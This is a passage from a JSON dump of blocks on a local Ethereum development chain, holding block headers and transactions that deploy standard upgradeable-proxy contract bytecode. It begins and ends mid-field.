000000000000000000000000000001400200","difficulty":"0x0","number":"0xf","gasLimit":"0x1c9c380","gasUsed":"0x29509","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xc0c8296","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x17","gas":"0x3c6c3","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000","r":"0x7e791feb791c6a1b5c06945c2e1e6b420cc1b666ec0b184ce951a8dd6034f2b","s":"0x33920b9f39f3dfb6806b1aa4cc3b780b3e97c41a414b396ba34e713c89f41804","yParity":"0x0","hash":"0x70bb1d58f6521a3b3c19dd151c65f4903e57a4c0979f69d1d5d1ebc8e9929cfc"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","transactionsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","receiptsRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x0","gasLimit":"0x1c9c380","gasUsed":"0x0","timestamp":"0x67212bf4","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b9aca00","blobGasUsed":"0x0","excessBlobGas":"0x0","extraData":"0x"},"transactions":[],"ommers":[]},{"header":{"parentHash":"0x75420cbf0f2dc83044089a605da9a8bf726e8a771a89f070855ab3c41cd23d66","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x229881857d90eeebf4482b7f142d711348bd2f357d0e8306f3e200e3109985a7","transactionsRoot":"0x6a431e7d43bfab37770f1929c2d637c645aed60cac25d0d1bef874d35d5a503e","receiptsRoot":"0xcf416b6d189433d342d189c591599451104c40a966f99fb523bcf321886d1544","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000800000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000002200001000000000400000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400002000000000000000000000000001000000000020000000200000000000040000040000002000000001000000000020000000000080000000000000000000000000000000000000000000000400000000","difficulty":"0x0","number":"0xf","gasLimit":"0x1c9c380","gasUsed":"0x39771","timestamp":"0x67212c16","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xb7c6cc6","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x38","gas":"0x4aace","maxFeePerGas":"0x1d7c9b23","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60806040526040516104da3803806104da833981016040819052610022916102d1565b61002e82826000610035565b50506103f4565b61003e83610061565b60008251118061004b5750805b1561005c5761005a83836100a1565b505b505050565b61006a816100cd565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100c683836040518060600160405280602781526020016104b360279139610180565b9392505050565b6001600160a01b0381163b61013f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b60606001600160a01b0384163b6101e85760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610136565b600080856001600160a01b03168560405161020391906103a5565b600060405180830381855af49150503d806000811461023e576040519150601f19603f3d011682016040523d82523d6000602084013e610243565b606091505b50909250905061025482828661025e565b9695505050505050565b6060831561026d5750816100c6565b82511561027d5782518084602001fd5b8160405162461bcd60e51b815260040161013691906103c1565b634e487b7160e01b600052604160045260246000fd5b60005b838110156102c85781810151838201526020016102b0565b50506000910152565b600080604083850312156102e457600080fd5b82516001600160a01b03811681146102fb57600080fd5b60208401519092506001600160401b0381111561031757600080fd5b8301601f8101851361032857600080fd5b80516001600160401b0381111561034157610341610297565b604051601f8201601f19908116603f011681016001600160401b038111828210171561036f5761036f610297565b60405281815282820160200187101561038757600080fd5b6103988260208301602086016102ad565b8093505050509250929050565b600082516103b78184602087016102ad565b9190910192915050565b60208152600082518060208401526103e08160408501602087016102ad565b601f01601f19169190910160400192915050565b60b1806104026000396000f3fe608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212202dd01612413adc0c572cad69197d98ec728867505ddb51ad7f292ecfc4bfb6a164736f6c634300081c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000064c0c53b8b0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e800000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d99550000000000000000000000009965507d1a55bcc2695c58ba16fb37d819b0a4dc00000000000000000000000000000000000000000000000000000000","r":"0x14ba65b6299eeca67a9133fef50471cdb38efce7a2e0e0bb104a20248fefb0c5","s":"0x5ba8e63eb5fbb77830d31d82ccba1e7c6600c6b2957de2b7fa61e74e69199105","yParity":"0x1","hash":"0xec1ada0302f39886136a682aebc87363a50049efc2b5d128a0703d5573210af8"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xfc874a013b7e585759ef74efb58667b009f50439d1585aa7ed50f2aea9be22dc","transactionsRoot":"0x2d88625a17ddb69fc4df78fdaff173802abc15a07eb8fbbe613f67a26cf275da","receiptsRoot":"0xa4056feaf804705db271730e48c589020561ed442e74dc009321686b44e36eac","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000400000000000000400000000000000000000000000000001000000000000000000000000002000000000250000000010000000000400000000000000000000000000000000000000000800000000000000000000000040000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000400000000000001000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x3","gasLimit":"0x1c9c380","gasUsed":"0x1a3d8a","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x2e829283","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x5","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xf9e1bbefcc019cfa874d1f5ac222a36ced2ed0cc4b13cd84b61877f50c39bd26","s":"0x2aee156afee3ea63f31cbbca7e8c006e5cd7c52f14e0905f9d68adb01856554f","yParity":"0x1","hash":"0x38f2b8e4d56e8cd317b7ec6c7f676ead48e1c7c86e17619810ea766df8bea1cb"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x6","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xec8f935496f4d6543cf6d50480ebfb79c485939c970903a225816fad6cb79c5b","s":"0x32773d528645b94728b83aa9c304e714ba65325ba91e0b69504510896524ee56","yParity":"0x1","hash":"0xd4bc553858d9284ea2380fa803173ac8864efeb45752b89fc1ab2c45958a1d1d"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x7","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000